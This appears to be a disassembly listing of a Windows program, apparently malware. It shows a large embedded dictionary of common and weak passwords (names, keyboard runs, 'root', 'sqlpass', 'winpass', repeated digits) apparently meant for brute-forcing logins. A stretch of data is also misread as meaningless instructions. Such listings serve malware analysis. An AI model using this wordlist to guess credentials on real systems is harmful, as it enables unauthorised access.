dd offset aPenguin ; "penguin"
dd offset aPenis ; "penis"
dd offset aPenname ; "penname"
dd offset aPentagon ; "pentagon"
dd offset aPentagra ; "pentagra"
dd offset aPenthous ; "penthous"
dd offset aPentium ; "pentium"
dd offset aPeoria ; "peoria"
dd offset aPepper ; "pepper"
dd offset aPepsi ; "pepsi"
dd offset aPercolat ; "percolat"
dd offset aPercolate ; "percolate"
dd offset aPerfect ; "perfect"
dd offset aPermit ; "permit"
dd offset aPersimmo ; "persimmo"
dd offset aPersimmon ; "persimmon"
dd offset aPersona ; "persona"
dd offset aPervert ; "pervert"
dd offset aPete ; "pete"
dd offset aPeter ; "peter"
dd offset aPhil ; "phil"
dd offset aPhilip ; "philip"
dd offset aPhoenix ; "phoenix"
dd offset aPhone ; "phone"
dd offset aPhoton ; "photon"
dd offset aPhrack ; "phrack"
dd offset aPhrase ; "phrase"
dd offset aPhreak ; "phreak"
dd offset aPhuck ; "phuck"
dd offset aPick ; "pick"
dd offset aPierre ; "pierre"
dd offset aPimp ; "pimp"
dd offset aPink ; "pink"
dd offset aPinname ; "pinname"
dd offset aPiss ; "piss"
dd offset aPizza ; "pizza"
dd offset aPlane ; "plane"
dd offset aPlayboy ; "playboy"
dd offset aPlover ; "plover"
dd offset aPluto ; "pluto"
dd offset aPlymouth ; "plymouth"
dd offset aPoetry ; "poetry"
dd offset aPolice ; "police"
dd offset aPolly ; "polly"
dd offset aPolynomi ; "polynomi"
dd offset aPolynomial ; "polynomial"
dd offset aPonderin ; "ponderin"
dd offset aPondering ; "pondering"
dd offset aPoop ; "poop"
dd offset aPoor ; "poor"
dd offset aPork ; "pork"
dd offset aPorn ; "porn"
dd offset aPorno ; "porno"
dd offset aPorsche ; "porsche"
dd offset aPost ; "post"
dd offset aPoster ; "poster"
dd offset aPower ; "power"
dd offset aPraise ; "praise"
dd offset aPrecious ; "precious"
dd offset aPrelude ; "prelude"
dd offset aPresto ; "presto"
dd offset aPrince ; "prince"
dd offset aPrinceto ; "princeto"
dd offset aPrinceton ; "princeton"
dd offset aPrinter ; "printer"
dd offset aPriv ; "priv"
dd offset aPrivate ; "private"
dd offset aPrivs ; "privs"
dd offset aProceed ; "proceed"
dd offset aProcesso ; "processo"
dd offset aProfesso ; "professo"
dd offset aProfessor ; "professor"
dd offset aProfile ; "profile"
dd offset aProgram ; "program"
dd offset aPrompt ; "prompt"
dd offset aProtect ; "protect"
dd offset aProtozoa ; "protozoa"
dd offset aPsycho ; "psycho"
dd offset aPsychopa ; "psychopa"
dd offset aPub ; "pub"
dd offset aPublic ; "public"
dd offset aPuck ; "puck"
dd offset aPuke ; "puke"
dd offset aPumpkin ; "pumpkin"
dd offset aPuneet ; "puneet"
dd offset aPunisher ; "punisher"
dd offset aPunk ; "punk"
dd offset aPuppet ; "puppet"
dd offset aPussy ; "pussy"
dd offset aPw ; "pw"
dd offset aPw123 ; "pw123"
dd offset aPwd ; "pwd"
dd offset aQaz ; "qaz"
dd offset aQuebec ; "quebec"
dd offset aQwe ; "qwe"
dd offset aQwer ; "qwer"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aR00t ; "r00t"
dd offset aRabbit ; "rabbit"
dd offset aRachel ; "rachel"
dd offset aRachelle ; "rachelle"
dd offset aRachmani ; "rachmani"
dd offset aRachmaninoff ; "rachmaninoff"
dd offset aRaid ; "raid"
dd offset aRain ; "rain"
dd offset aRainbow ; "rainbow"
dd offset aRaindrop ; "raindrop"
dd offset aRaleigh ; "raleigh"
dd offset aRandom ; "random"
dd offset aRape ; "rape"
dd offset aRascal ; "rascal"
dd offset aRazor ; "razor"
dd offset aReagan ; "reagan"
dd offset aReality ; "reality"
dd offset aReally ; "really"
dd offset aReam ; "ream"
dd offset aReaper ; "reaper"
dd offset aRebal ; "rebal"
dd offset aRebecca ; "rebecca"
dd offset aRebel ; "rebel"
dd offset aRecord ; "record"
dd offset aReddawn ; "reddawn"
dd offset aRedhead ; "redhead"
dd offset aReferenc ; "referenc"
dd offset aRegional ; "regional"
dd offset aRelease ; "release"
dd offset aRemote ; "remote"
dd offset aRenee ; "renee"
dd offset aReno ; "reno"
dd offset aRent ; "rent"
dd offset aReport ; "report"
dd offset aRepublic ; "republic"
dd offset aResistan ; "resistan"
dd offset aReveal ; "reveal"
dd offset aRhino ; "rhino"
dd offset aRich ; "rich"
dd offset aRick ; "rick"
dd offset aRiffraff ; "riffraff"
dd offset aRight ; "right"
dd offset aRightwin ; "rightwin"
dd offset aRing ; "ring"
dd offset aRiot ; "riot"
dd offset aRipple ; "ripple"
dd offset aRisc ; "risc"
dd offset aRje ; "rje"
dd offset aRoach ; "roach"
dd offset aRobert ; "robert"
dd offset aRobin ; "robin"
dd offset aRobot ; "robot"
dd offset aRobotics ; "robotics"
dd offset aRobyn ; "robyn"
dd offset aRochelle ; "rochelle"
dd offset aRocheste ; "rocheste"
dd offset aRochester ; "rochester"
dd offset aRock ; "rock"
dd offset aRocky ; "rocky"
dd offset aRockyhor ; "rockyhor"
dd offset aRodent ; "rodent"
dd offset aRolex ; "rolex"
dd offset aRomano ; "romano"
dd offset aRomeo ; "romeo"
dd offset aRomulan ; "romulan"
dd offset aRon ; "ron"
dd offset aRonald ; "ronald"
dd offset aRooted ; "rooted"
dd offset aRose ; "rose"
dd offset aRosebud ; "rosebud"
dd offset aRosemary ; "rosemary"
dd offset aRoses ; "roses"
dd offset aRough ; "rough"
dd offset aRubber ; "rubber"
dd offset aRuben ; "ruben"
dd offset aRuby ; "ruby"
dd offset aRude ; "rude"
dd offset aRules ; "rules"
dd offset aRunning ; "running"
dd offset aRush ; "rush"
dd offset aRuth ; "ruth"
dd offset aSa ; "sa"
dd offset aSafe ; "safe"
dd offset aSage ; "sage"
dd offset aSal ; "sal"
dd offset aSalami ; "salami"
dd offset aSale ; "sale"
dd offset aSalt ; "salt"
dd offset aSam ; "sam"
dd offset aSamantha ; "samantha"
dd offset aSample ; "sample"
dd offset aSandra ; "sandra"
dd offset aSandy ; "sandy"
dd offset aSara ; "sara"
dd offset aSarah ; "sarah"
dd offset aSatan ; "satan"
dd offset aSatanic ; "satanic"
dd offset aSatanik ; "satanik"
dd offset aSaturday ; "saturday"
dd offset aSaturn ; "saturn"
dd offset aSaxon ; "saxon"
dd offset aScamper ; "scamper"
dd offset aScheme ; "scheme"
dd offset aSchool ; "school"
dd offset aSchoolsucks ; "schoolsucks"
dd offset aScifi ; "scifi"
dd offset aScorpion ; "scorpion"
dd offset aScott ; "scott"
dd offset aScotty ; "scotty"
dd offset aScout ; "scout"
dd offset aScript ; "script"
dd offset aScriptkiddie ; "scriptkiddie"
dd offset aSearch ; "search"
dd offset aSecret ; "secret"
dd offset aSecurity ; "security"
dd offset aSeed ; "seed"
dd offset aSega ; "sega"
dd offset aSensor ; "sensor"
dd offset aSentinel ; "sentinel"
dd offset aSentry ; "sentry"
dd offset aSerenity ; "serenity"
dd offset aSerial_0 ; "serial"
dd offset aService ; "service"
dd offset aSesame ; "sesame"
dd offset aSex_0 ; "sex"
dd offset aSexy ; "sexy"
dd offset aShannon ; "shannon"
dd offset aSharc ; "sharc"
dd offset aShark ; "shark"
dd offset aSharks ; "sharks"
dd offset aSharon ; "sharon"
dd offset aSheffiel ; "sheffiel"
dd offset aSheffield ; "sheffield"
dd offset aSheldon ; "sheldon"
dd offset aShell ; "shell"
dd offset aSherri ; "sherri"
dd offset aShift ; "shift"
dd offset aShirley ; "shirley"
dd offset aShit ; "shit"
dd offset aShitpot ; "shitpot"
dd offset aShiva ; "shiva"
dd offset aShivers ; "shivers"
dd offset aShort ; "short"
dd offset aShuttle ; "shuttle"
dd offset aSick ; "sick"
dd offset aSiemens ; "siemens"
dd offset aSierra ; "sierra"
dd offset aSignatur ; "signatur"
dd offset aSignature ; "signature"
dd offset aSilver ; "silver"
dd offset aSimcity ; "simcity"
dd offset aSimon ; "simon"
dd offset aSimple ; "simple"
dd offset aSimpsons ; "simpsons"
dd offset aSimulati ; "simulati"
dd offset aSinger ; "singer"
dd offset aSingle ; "single"
dd offset aSite ; "site"
dd offset aSkull ; "skull"
dd offset aSlave ; "slave"
dd offset aSlick ; "slick"
dd offset aSliders ; "sliders"
dd offset aSlow ; "slow"
dd offset aSlut ; "slut"
dd offset aSmall ; "small"
dd offset aSmart ; "smart"
dd offset aSmile ; "smile"
dd offset aSmiles ; "smiles"
dd offset aSmooch ; "smooch"
dd offset aSmother ; "smother"
dd offset aSmtp ; "smtp"
dd offset aSmut ; "smut"
dd offset aSnach ; "snach"
dd offset aSnafu ; "snafu"
dd offset aSnake ; "snake"
dd offset aSnatch ; "snatch"
dd offset aSnoopy ; "snoopy"
dd offset aSoap ; "soap"
dd offset aSocial ; "social"
dd offset aSocrates ; "socrates"
dd offset aSodomy ; "sodomy"
dd offset aSoft ; "soft"
dd offset aSoftware ; "software"
dd offset aSomebody ; "somebody"
dd offset aSondra ; "sondra"
dd offset aSonia ; "sonia"
dd offset aSonic ; "sonic"
dd offset aSonya ; "sonya"
dd offset aSossina ; "sossina"
dd offset aSource ; "source"
dd offset aSouth ; "south"
dd offset aSpaceman ; "spaceman"
dd offset aSpaceshi ; "spaceshi"
dd offset aSparrows ; "sparrows"
dd offset aSpear ; "spear"
dd offset aSpell ; "spell"
dd offset aSpencer ; "spencer"
dd offset aSpice ; "spice"
dd offset aSpider ; "spider"
dd offset aSpiderma ; "spiderma"
dd offset aSpit ; "spit"
dd offset aSpred ; "spred"
dd offset aSpring ; "spring"
dd offset aSpringer ; "springer"
dd offset aSpunk ; "spunk"
dd offset aSql ; "sql"
dd offset aSqlagent ; "sqlagent"
dd offset aSqlpass ; "sqlpass"
dd offset aSquires ; "squires"
dd offset aSr71 ; "sr71"
dd offset aStacey ; "stacey"
dd offset aStaci ; "staci"
dd offset aStacie ; "stacie"
dd offset aStacy ; "stacy"
dd offset aStaff ; "staff"
dd offset aStar ; "star"
dd offset aStarship ; "starship"
dd offset aStart ; "start"
dd offset aStartrek ; "startrek"
dd offset aStartup ; "startup"
dd offset aStarwars ; "starwars"
dd offset aSteak ; "steak"
dd offset aSteal ; "steal"
dd offset aSteel ; "steel"
dd offset aSteph ; "steph"
dd offset aStephani ; "stephani"
dd offset aStephanie ; "stephanie"
dd offset aStereo ; "stereo"
dd offset aSteve ; "steve"
dd offset aStoneage ; "stoneage"
dd offset aStoned ; "stoned"
dd offset aStones ; "stones"
dd offset aStrange ; "strange"
dd offset aStrangle ; "strangle"
dd offset aStratfor ; "stratfor"
dd offset aStratford ; "stratford"
dd offset aStreetfi ; "streetfi"
dd offset aString ; "string"
dd offset aStrip ; "strip"
dd offset aStudent ; "student"
dd offset aStudent1 ; "student1"
dd offset aStuttgar ; "stuttgar"
dd offset aStuttgart ; "stuttgart"
dd offset aSubscrib ; "subscrib"
dd offset aSubway ; "subway"
dd offset aSuccess ; "success"
dd offset aSuck ; "suck"
dd offset aSuckmydi ; "suckmydi"
dd offset aSucks ; "sucks"
dd offset aSue ; "sue"
dd offset aSummer ; "summer"
dd offset aSun ; "sun"
dd offset aSunday ; "sunday"
dd offset aSuper ; "super"
dd offset aSuperman ; "superman"
dd offset aSuperson ; "superson"
dd offset aSupersta ; "supersta"
dd offset aSuperstage ; "superstage"
dd offset aSuperuse ; "superuse"
dd offset aSuperuser ; "superuser"
dd offset aSupervis ; "supervis"
dd offset aSupport ; "support"
dd offset aSupporte ; "supporte"
dd offset aSupported ; "supported"
dd offset aSurfer ; "surfer"
dd offset aSurfing ; "surfing"
dd offset aSusan ; "susan"
dd offset aSusanne ; "susanne"
dd offset aSusie ; "susie"
dd offset aSuzanne ; "suzanne"
dd offset aSuzie ; "suzie"
dd offset aSwearer ; "swearer"
dd offset aSweat ; "sweat"
dd offset aSwitch ; "switch"
dd offset aSword ; "sword"
dd offset aSybase ; "sybase"
dd offset aSybil ; "sybil"
dd offset aSymmetry ; "symmetry"
dd offset aSys ; "sys"
dd offset aSysadmin ; "sysadmin"
dd offset aSysop ; "sysop"
dd offset aTabasco ; "tabasco"
dd offset aTalk ; "talk"
dd offset aTall ; "tall"
dd offset aTamara ; "tamara"
dd offset aTami ; "tami"
dd offset aTamie ; "tamie"
dd offset aTammy ; "tammy"
dd offset aTangerin ; "tangerin"
dd offset aTangerine ; "tangerine"
dd offset aTango ; "tango"
dd offset aTape ; "tape"
dd offset aTara ; "tara"
dd offset aTarget ; "target"
dd offset aTarragon ; "tarragon"
dd offset aTaylor ; "taylor"
dd offset aTeacher ; "teacher"
dd offset aTeam ; "team"
dd offset aTeapot ; "teapot"
dd offset aTears ; "tears"
; ---------------------------------------------------------------------------
loc_42DE30: ; CODE XREF: .text:loc_42DE30j
jo short loc_42DE30
inc edx
add [esi+edi*8+42h], ah
add [esi+edi*8+42h], bl
add [esi+edi*8+42h], dl
add [eax-2], cl
inc edx
add [esi+edi*8], bh
inc edx
add [esi+edi*8], dh
inc edx
add [esi+edi*8], ch
inc edx
add [esi+edi*8], ah
inc edx
add [eax], bl
inc byte ptr [edx+0]
or al, 0FEh
inc edx
add [esi+edi*8], al
inc edx
add ah, bh
std
inc edx
add al, dh
std
inc edx
add ah, ah
std
inc edx
add ah, bl
std
inc edx
add ah, dl
std
inc edx
add ah, cl
std
inc edx
add ah, al
std
inc edx
add [ebp+edi*8-24BFFBEh], bh
inc edx
add [ebp+edi*8-25FFFBEh], ch
inc edx
add [eax-6FFFBD03h], bl
std
inc edx
add [ebp+edi*8-283FFBEh], al
inc edx
add [ebp+edi*8+42h], dh
add [ebp+edi*8+42h], ch
add [ebp+edi*8+42h], ah
add [ebp+edi*8+42h], bl
add [ebp+edi*8+42h], dl
add [ebp+edi*8+42h], cl
add [ebp+edi*8+42h], al
add [eax], bh
std
inc edx
add [eax], dh
std
inc edx
add ds:0FD180042h[edi*8], ah
inc edx
add ds:0FD040042h[edi*8], cl
inc edx
add ah, bh
cld
inc edx
add ah, dh
cld
inc edx
add ah, ch
cld
inc edx
add ah, ah
cld
inc edx
add ah, bl
cld
inc edx
add al, dl
cld
inc edx
add al, cl
cld
inc edx
add [esp+edi*8-34BFFBEh], bh
inc edx
add [esp+edi*8-35BFFBEh], ch
inc edx
add [esp+edi*8-36BFFBEh], bl
inc edx
add [eax-7FFFBD04h], cl
cld
inc edx
add [eax-4], bh
inc edx
add [eax-4], dh
inc edx
add [esp+edi*8+42h], ch
add [esp+edi*8+42h], ah
add [esp+edi*8+42h], bl
add [esp+edi*8+42h], dl
add [esp+edi*8+42h], cl
add [esp+edi*8+42h], al
add [esp+edi*8], bh
inc edx
add [esp+edi*8], dh
inc edx
add [esp+edi*8], ch
inc edx
add [esp+edi*8], ah
inc edx
add [esp+edi*8], bl
inc edx
add [esp+edi*8], dl
inc edx
add [esp+edi*8], cl
inc edx
; ---------------------------------------------------------------------------
db 0
dd offset aUniversa ; "universa"
dd offset aUniverse ; "universe"
dd offset aUniversi ; "universi"
dd offset aUnix ; "unix"
dd offset aUnlock ; "unlock"
dd offset aUpload ; "upload"
dd offset aUranus ; "uranus"
dd offset aUrchin ; "urchin"
dd offset aUrsula ; "ursula"
dd offset aUsenet ; "usenet"
dd offset aUser1 ; "user1"
dd offset aUsermane ; "usermane"
dd offset aUsername ; "username"
dd offset aUserpassword ; "userpassword"
dd offset aUsmc ; "usmc"
dd offset aUtil ; "util"
dd offset aUtility ; "utility"
dd offset aUucp ; "uucp"
dd offset aUwontguessme ; "uwontguessme"
dd offset aVagina ; "vagina"
dd offset aValerie ; "valerie"
dd offset aVampire ; "vampire"
dd offset aVasant ; "vasant"
dd offset aVenus ; "venus"
dd offset aVeronica ; "veronica"
dd offset aVertigo ; "vertigo"
dd offset aVicky ; "vicky"
dd offset aVictor ; "victor"
dd offset aVideo ; "video"
dd offset aVideogam ; "videogam"
dd offset aVillage ; "village"
dd offset aVirgin ; "virgin"
dd offset aVirginia ; "virginia"
dd offset aVirus ; "virus"
dd offset aVisitor ; "visitor"
dd offset aVisual ; "visual"
dd offset aVisualba ; "visualba"
dd offset aVodka ; "vodka"
dd offset aW00t ; "w00t"
dd offset aWaco ; "waco"
dd offset aWard ; "ward"
dd offset aWarez ; "warez"
dd offset aWarfare ; "warfare"
dd offset aWargames ; "wargames"
dd offset aWarp ; "warp"
dd offset aWarren ; "warren"
dd offset aWasp ; "wasp"
dd offset aWatchwor ; "watchwor"
dd offset aWater ; "water"
dd offset aWave ; "wave"
dd offset aWeb ; "web"
dd offset aWebpage ; "webpage"
dd offset aWednesda ; "wednesda"
dd offset aWeed ; "weed"
dd offset aWeenie ; "weenie"
dd offset aWell ; "well"
dd offset aWendi ; "wendi"
dd offset aWendy ; "wendy"
dd offset aWerewolf ; "werewolf"
dd offset aWest ; "west"
dd offset aWestern ; "western"
dd offset aWh0r3 ; "wh0r3"
dd offset aWh0re ; "wh0re"
dd offset aWhatever ; "whatever"
dd offset aWhatnot ; "whatnot"
dd offset aWhisky ; "whisky"
dd offset aWhite ; "white"
dd offset aWhiting ; "whiting"
dd offset aWhitney ; "whitney"
dd offset aWholesal ; "wholesal"
dd offset aWholesale ; "wholesale"
dd offset aWhore ; "whore"
dd offset aWileecoyote ; "wileecoyote"
dd offset aWill ; "will"
dd offset aWilliam ; "william"
dd offset aWilliams ; "williams"
dd offset aWilliamsburg ; "williamsburg"
dd offset aWillie ; "willie"
dd offset aWilma ; "wilma"
dd offset aWin ; "win"
dd offset aWin2000 ; "win2000"
dd offset aWin2k ; "win2k"
dd offset aWin98 ; "win98"
dd offset aWindose ; "windose"
dd offset aWindows ; "windows"
dd offset aWindows2k ; "windows2k"
dd offset aWindows95 ; "windows95"
dd offset aWindows98 ; "windows98"
dd offset aWindowsme ; "windowsME"
dd offset aWindowz ; "windowz"
dd offset aWindoze ; "windoze"
dd offset aWindoze2k ; "windoze2k"
dd offset aWindoze95 ; "windoze95"
dd offset aWindoze98 ; "windoze98"
dd offset aWindozeme ; "windozeME"
dd offset aWindozexp ; "windozexp"
dd offset aWine ; "wine"
dd offset aWing ; "wing"
dd offset aWinnt ; "winnt"
dd offset aWinpass ; "winpass"
dd offset aWinston ; "winston"
dd offset aWinxp ; "winxp"
dd offset aWired ; "wired"
dd offset aWisconsi ; "wisconsi"
dd offset aWisconsin ; "wisconsin"
dd offset aWiseass ; "wiseass"
dd offset aWithin ; "within"
dd offset aWizard ; "wizard"
dd offset aWolf ; "wolf"
dd offset aWolverin ; "wolverin"
dd offset aWoman ; "woman"
dd offset aWombat ; "wombat"
dd offset aWomen ; "women"
dd offset aWood ; "wood"
dd offset aWoodwind ; "woodwind"
dd offset aWord ; "word"
dd offset aWordperf ; "wordperf"
dd offset aWorf ; "worf"
dd offset aWork ; "work"
dd offset aWorm ; "worm"
dd offset aWormwood ; "wormwood"
dd offset aWwii ; "wwii"
dd offset aWww ; "www"
dd offset aWwwadmin ; "wwwadmin"
dd offset aWyoming ; "wyoming"
dd offset asc_43362C ; "x"
dd offset aXena ; "xena"
dd offset aXfer ; "xfer"
dd offset aXman ; "xman"
dd offset aXmen ; "xmen"
dd offset aXmodem ; "xmodem"
dd offset aXp_0 ; "xp"
dd offset aXray ; "xray"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset aXyz ; "xyz"
dd offset aXyzzy ; "xyzzy"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aYankee ; "yankee"
dd offset aYellow ; "yellow"
dd offset aYellowst ; "yellowst"
dd offset aYellowstone ; "yellowstone"
dd offset aYolanda ; "yolanda"
dd offset aYosemite ; "yosemite"
dd offset aYoung ; "young"
dd offset aYouwontguessme ; "youwontguessme"
dd offset aYxcv ; "yxcv"
dd offset aZap ; "zap"
dd offset aZebra ; "zebra"
dd offset aZeitgeis ; "zeitgeis"
dd offset aZiggy ; "ziggy"
dd offset aZimmerma ; "zimmerma"
dd offset aZimmerman ; "zimmerman"
dd offset aZmodem ; "zmodem"
dd offset aZombie ; "zombie"
dd offset aZulu ; "zulu"
dd offset aZxc ; "zxc"
dd offset aZxcv ; "zxcv"
dd offset asc_4335F4 ; "%"
dd offset dword_42F650
dd offset dword_42F64C
dd offset dword_42F648
dd offset a@_10 ; "!@#$%"
dd offset a@_9 ; "!@#$%^"
dd offset a@_8 ; "!@#$%^&"
dd offset a@_7 ; "!@#$%^&*"
dd offset loc_426447+1
dd offset dword_42F644
dd offset off_42F640
dd offset a@_6 ; "@"
dd offset a@@ ; "@@"
dd offset asc_42F634 ; "+"
dd offset asc_42F630 ; "++"
dd offset asc_42F62C ; "+++"
dd offset asc_42F624 ; "++++"
dd offset asc_42F620 ; "-"
dd offset asc_42F61C ; "--"
dd offset asc_42F61C ; "--"
dd offset asc_42F614 ; "----"
dd offset asc_42F610 ; "-+"
dd offset asc_42F608 ; "--++"
dd offset a0 ; "=-0"
dd offset a789_0 ; "789+"
dd offset a456_0 ; "456+"
dd offset asc_42F5F0 ; "$"
dd offset asc_42F5EC ; "$$"
dd offset asc_42F5E8 ; "$$$"
dd offset a@_5 ; "*&^%$#@!"
dd offset a@_4 ; "&^%$#@!"
dd offset a@_3 ; "^%$#@!"
dd offset a@_2 ; "%$#@!"
dd offset a@_1 ; "$#@!"
dd offset a@_0 ; "#@!"
dd offset a@ ; "@!"
dd offset dword_42645C
dd offset a00 ; "00"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset a00000000 ; "00000000"
dd offset a000000000 ; "000000000"
dd offset a0000000000 ; "0000000000"
dd offset asc_426CEC ; "*"
dd offset asc_42F598 ; "**"
dd offset asc_42F594 ; "***"
dd offset asc_42F58C ; "****"
dd offset asc_42F584 ; "*****"
dd offset asc_42F57C ; "******"
dd offset asc_42F574 ; "*******"
dd offset asc_42F568 ; "********"
dd offset asc_42F55C ; "*********"
dd offset a001 ; "001"
dd offset a002 ; "002"
dd offset a003 ; "003"
dd offset a004 ; "004"
dd offset a005 ; "005"
dd offset a006 ; "006"
dd offset a007 ; "007"
dd offset a008 ; "008"
dd offset a009 ; "009"
dd offset a010 ; "010"
dd offset a0wn3d ; "0wn3d"
dd offset a0wned ; "0wned"
dd offset a1 ; "1"
dd offset a11 ; "11"
dd offset a111 ; "111"
dd offset a1111 ; "1111"
dd offset a11111 ; "11111"
dd offset a111111 ; "111111"
dd offset a1111111 ; "1111111"
dd offset a11111111 ; "11111111"
dd offset a111111111 ; "111111111"
dd offset a1111111111 ; "1111111111"
dd offset a2 ; "2"
dd offset a22 ; "22"
dd offset a222 ; "222"
dd offset a2222 ; "2222"
dd offset a22222 ; "22222"
dd offset a222222 ; "222222"
dd offset a2222222 ; "2222222"
dd offset a22222222 ; "22222222"
dd offset a222222222 ; "222222222"
dd offset a2222222222 ; "2222222222"
dd offset a3 ; "3"
dd offset a33 ; "33"
dd offset a333 ; "333"
dd offset a3333 ; "3333"
dd offset a33333 ; "33333"
dd offset a333333 ; "333333"
dd offset a3333333 ; "3333333"
dd offset a33333333 ; "33333333"
dd offset a333333333 ; "333333333"
dd offset a3333333333 ; "3333333333"
dd offset a4_0 ; "4"
dd offset a44 ; "44"
dd offset a444 ; "444"
dd offset a4444 ; "4444"
dd offset a44444 ; "44444"
dd offset a444444 ; "444444"
dd offset a4444444 ; "4444444"
dd offset a44444444 ; "44444444"
dd offset a444444444 ; "444444444"
dd offset a4444444444 ; "4444444444"
dd offset a5_0 ; "5"
dd offset a55 ; "55"
dd offset a555 ; "555"
dd offset a5555 ; "5555"
dd offset a55555 ; "55555"
dd offset a555555 ; "555555"
dd offset a5555555 ; "5555555"
dd offset a55555555 ; "55555555"
dd offset a555555555 ; "555555555"
dd offset a5555555555 ; "5555555555"
dd offset a6 ; "6"
dd offset a66 ; "66"
dd offset a666 ; "666"
dd offset a6666 ; "6666"
dd offset a66666 ; "66666"
dd offset a666666 ; "666666"
dd offset a6666666 ; "6666666"
dd offset a66666666 ; "66666666"
dd offset a666666666 ; "666666666"
dd offset a6666666666 ; "6666666666"
dd offset a7 ; "7"
dd offset a77 ; "77"
dd offset a777 ; "777"
dd offset a7777 ; "7777"
dd offset a77777 ; "77777"
dd offset a777777 ; "777777"
dd offset a7777777 ; "7777777"
dd offset a77777777 ; "77777777"
dd offset a777777777 ; "777777777"
dd offset a7777777777 ; "7777777777"
dd offset a8 ; "8"
dd offset a88 ; "88"
dd offset a888 ; "888"
dd offset a8888 ; "8888"
dd offset a88888 ; "88888"
dd offset a888888 ; "888888"
dd offset a8888888 ; "8888888"
dd offset a88888888 ; "88888888"
dd offset a888888888 ; "888888888"
dd offset a8888888888 ; "8888888888"
dd offset a9 ; "9"
dd offset a99 ; "99"
dd offset a999 ; "999"
dd offset a9999 ; "9999"
dd offset a99999 ; "99999"
dd offset a999999 ; "999999"
dd offset a9999999 ; "9999999"
dd offset a99999999 ; "99999999"
dd offset a999999999 ; "999999999"
dd offset a9999999999 ; "9999999999"
dd offset a110 ; "110"
dd offset a7410 ; "7410"
dd offset a0147 ; "0147"
dd offset a1122 ; "1122"
dd offset a456 ; "456"
dd offset a654 ; "654"
dd offset a789 ; "789"
dd offset a987 ; "987"
dd offset a8520 ; "8520"
dd offset a0258 ; "0258"
dd offset a1020 ; "1020"
dd offset a12 ; "12"
dd offset a121 ; "121"
dd offset a121212 ; "121212"
dd offset a123 ; "123"
dd offset a123123 ; "123123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a12346 ; "12346"
dd offset a123467 ; "123467"
dd offset a1234678 ; "1234678"
dd offset a12346789 ; "12346789"
dd offset a123467890 ; "123467890"
dd offset a1qwer ; "1qwer"
dd offset a1abc ; "1abc"
dd offset a1asd ; "1asd"
dd offset a1qwe ; "1qwe"
dd offset a12qwer ; "12qwer"
dd offset a12abc ; "12abc"
dd offset a12asd ; "12asd"
dd offset a12qwe ; "12qwe"
dd offset a123qwer ; "123qwer"
dd offset a123abc ; "123abc"
dd offset a123asd ; "123asd"
dd offset a123qwe ; "123qwe"
dd offset a1234qwer ; "1234qwer"
dd offset a1234abc ; "1234abc"
dd offset a1234asd ; "1234asd"
dd offset a1234qwe ; "1234qwe"
dd offset a1952 ; "1952"
dd offset a1953 ; "1953"
dd offset a1954 ; "1954"
dd offset a1955 ; "1955"
dd offset a1956 ; "1956"
dd offset a1957 ; "1957"
dd offset a1958 ; "1958"
dd offset a1959 ; "1959"
dd offset a1960 ; "1960"
dd offset a1961 ; "1961"
dd offset a1962 ; "1962"
dd offset a1963 ; "1963"
dd offset a1964 ; "1964"
dd offset a1965 ; "1965"
dd offset a1966 ; "1966"
dd offset a1967 ; "1967"
dd offset a1968 ; "1968"
dd offset a1969 ; "1969"
dd offset a1970 ; "1970"
dd offset a1971 ; "1971"
dd offset a1972 ; "1972"
dd offset a1973 ; "1973"
dd offset a1974 ; "1974"
dd offset a1975 ; "1975"
dd offset a1976 ; "1976"
dd offset a1977 ; "1977"
dd offset a1978 ; "1978"
dd offset a1979 ; "1979"
dd offset a1980 ; "1980"
dd offset a1981 ; "1981"
dd offset a1982 ; "1982"
dd offset a1983 ; "1983"
dd offset a1984 ; "1984"
dd offset a1985 ; "1985"
dd offset a1986 ; "1986"
dd offset a1987 ; "1987"
dd offset a1988 ; "1988"
dd offset a1989 ; "1989"
dd offset a1990 ; "1990"
dd offset a1991 ; "1991"
dd offset a1992 ; "1992"
dd offset a1993 ; "1993"
dd offset a1994 ; "1994"
dd offset a1995 ; "1995"
dd offset a1996 ; "1996"
dd offset a1997 ; "1997"
dd offset a1998 ; "1998"
dd offset a1999 ; "1999"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset a2005 ; "2005"
dd offset a2006 ; "2006"
dd offset a2600 ; "2600"
dd offset a321 ; "321"
dd offset a4321 ; "4321"
dd offset a54321 ; "54321"
dd offset a654321 ; "654321"
dd offset a7654321 ; "7654321"
dd offset aSony ; "sony"
dd offset aSamsung_0 ; "SAMSUNG"
dd offset aSamsung ; "samsung"
dd offset aSony_0 ; "SONY"
dd offset aMaster_0 ; "MASTER"
dd offset aMicrosoft ; "MICROSOFT"
dd offset aDisc_0 ; "DISC"
dd offset aCreative ; "CREATIVE"
dd offset aSex ; "SEX"
dd offset aNokia_0 ; "NOKIA"
dd offset aXp ; "XP"
dd offset aA_2 ; "a"
dd offset aAa ; "aa"
dd offset aAaa ; "aaa"
dd offset aAaaa ; "aaaa"
dd offset aAaaaa ; "aaaaa"
dd offset aAaaaaa ; "aaaaaa"
dd offset aAaaaaaa ; "aaaaaaa"
dd offset aAaaaaaaa ; "aaaaaaaa"
dd offset aAaaaaaaaa ; "aaaaaaaaa"
dd offset aPassword ; "Password"
dd offset aPassword1 ; "password1"
dd offset aQw ; "qw"
dd offset aQwe ; "qwe"
dd offset aQwer ; "qwer"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aQwertyu ; "qwertyu"
dd offset aQwertyui ; "qwertyui"
dd offset aQwertyuio ; "qwertyuio"
dd offset aQwertyuiop ; "qwertyuiop"
dd offset aRoot ; "root"
dd offset aServer_0 ; "server"
dd offset aService ; "service"
dd offset aServers ; "servers"
dd offset aServices ; "services"
dd offset aSystem ; "system"
dd offset aSystem_0 ; "SYSTEM"
